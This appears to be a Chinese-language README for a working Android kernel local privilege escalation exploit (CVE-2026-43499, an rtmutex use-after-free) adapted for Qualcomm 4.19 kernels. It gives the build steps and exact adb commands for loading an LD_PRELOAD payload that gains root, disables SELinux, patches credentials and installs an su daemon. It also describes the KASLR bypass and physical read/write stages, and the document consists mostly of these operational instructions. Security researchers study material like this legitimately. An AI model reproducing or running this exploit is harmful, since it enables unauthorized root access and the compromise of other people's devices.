本地权限提升,利用 CVE-2026-43499 —— 一个 rtmutex
remove_waiter() 漏洞,该漏洞会使一个 struct rt_mutex_waiter 悬空留在
等待者的内核栈上(kernel/locking/rtmutex.c,CWE-416 释放后使用)。
改编自
NebuSec/CyberMeowfia
(IonStack/CVE-2026-43499,Apache-2.0),针对 Qualcomm Android 4.19.x
厂商内核系列。
4.19.157-perf-g9607d8651312(qcom,clang 10.0.7,SMP PREEMPT,aarch64)futex_requeue() 代理锁回滚调用 remove_waiter(),而该函数
操作的是 current 而不是 waiter->task —— 在没有
pi_lock 的情况下进行 rb-tree 出队,导致 pi_blocked_on 悬空,进而引发内核栈 UAF。
受影响范围直至 5.10/5.15/6.1/6.6/6.12/6.18/7.0 修复版本;4.19 没有
向后移植(EOL),因此 4.19.157-perf 受影响。src/ 改编后的漏洞利用源码(preload.so)
src/targets/oplus-4.19.157-perf/target.h 按设备划分的偏移表(源自 kallsyms)
prebuilt/ 编译产物(aarch64)
adaptation-4.19.patch 与上游 Pixel(6.x)代码的完整差异
Makefile, build.sh 构建入口点
configfs_read_file / configfs_write_bin_file 被放置在 .read/.write
fops 槽位(4.19 签名),并且读原语使用简化的
count/page/ppos=0 伪缓冲区布局/dev/ashmem)—— 前缀长度为 0selinux_blob_sizes → 直接使用 cred->security
(SELINUX_CRED_BLOB_OFF=0);struct seccomp 没有 filter_countASHMEM_MISC_FOPS = miscdevice.fops 槽位(ashmem_misc + 0x10)使用 Android NDK 的 Linux / WSL:
export NDK_ROOT=/path/to/android-ndk-r27c
./build.sh # or: make PROJECT=oplus-4.19.157-perf
输出:prebuilt/preload.so(LD_PRELOAD 载荷)以及内嵌的
su_daemon PIE。
需要一个 ADB shell(普通的、非特权 adb shell 就足够 —— 该
漏洞利用完全以非特权方式运行并自行提权)。
# 1. push the payload
adb push prebuilt/preload.so /data/local/tmp/
# 2. run the exploit against any command (here: id) via LD_PRELOAD
adb shell LD_PRELOAD=/data/local/tmp/preload.so id
# expected on success: uid=0(root) gid=0(root) groups=...
# on failure the process exits 1 and the log below tells you where it stopped.
可选的一行命令变体:
# capture the exit status too
adb shell "LD_PRELOAD=/data/local/tmp/preload.so id; echo rc=\$?"
# interactive root shell (the exploit also installs an su daemon)
adb shell "LD_PRELOAD=/data/local/tmp/preload.so /system/bin/sh -c 'su -c id'"
每一行 pr_* 都会通过立即的 write()+fsync() 镜像到磁盘,因此
记录在内核 panic/重启后仍能保留:
/sdcard/Download/log_<timestamp>.txt
如果 /sdcard 不可用,则回退路径为:/sdcard/Downloads、
/data/local/tmp/log_<timestamp>.txt。
# after the run (even after a reboot):
adb shell "ls -t /sdcard/Download/log_*.txt | head -1"
adb shell "cat $(adb shell 'ls -t /sdcard/Download/log_*.txt | head -1' | tr -d '\r')"
关键日志标记:
preload starting pid=... log=/sdcard/Download/log_<ts>.txt —— 载荷已加载slide-kaslr-ok ... base=... —— KASLR 基址已恢复pipe-physrw-summary ... root=1 ... —— 物理读写已安装uid_before=... uid_after=0 ... selinux=1->0 —— 凭据已修补UNVERIFIED —— 该
阶段就是需要根据此日志按设备进行调优的阶段。target.h 中标记,并在运行时记录为
UNVERIFIED。使用 fsync 日志在设备上迭代。CONFIG_STATIC_USERMODEHELPER=y 禁用了 modprobe 路径技巧;
主要路径是直接修补 cred。/proc/kallsyms)和 /proc/slabinfo 验证你的确切构建上的偏移正确性。Apache-2.0(上游:NebuSec/CyberMeowfia)。仅用于安全研究和 经授权的设备 root。请在你拥有的硬件上使用。